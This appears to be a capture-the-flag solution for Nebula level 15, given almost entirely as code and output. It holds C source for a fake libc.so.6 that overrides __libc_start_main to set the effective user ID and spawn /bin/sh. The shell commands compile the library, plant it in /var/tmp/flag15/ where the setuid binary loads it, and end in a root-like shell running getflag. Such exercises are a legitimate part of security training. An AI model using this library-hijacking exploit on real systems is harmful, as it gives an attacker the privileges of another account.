#include <linux/unistd.h>
void __cxa_finalize (void *d) {
return;
}
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
setresuid(geteuid(),geteuid(),geteuid());
system("/bin/sh");
}
echo "GLIBC_2.0 { };" >version;gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 libc.c && cp libc.so.6 /var/tmp/flag15/
level15@nebula:~$ ../flag15/flag15
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$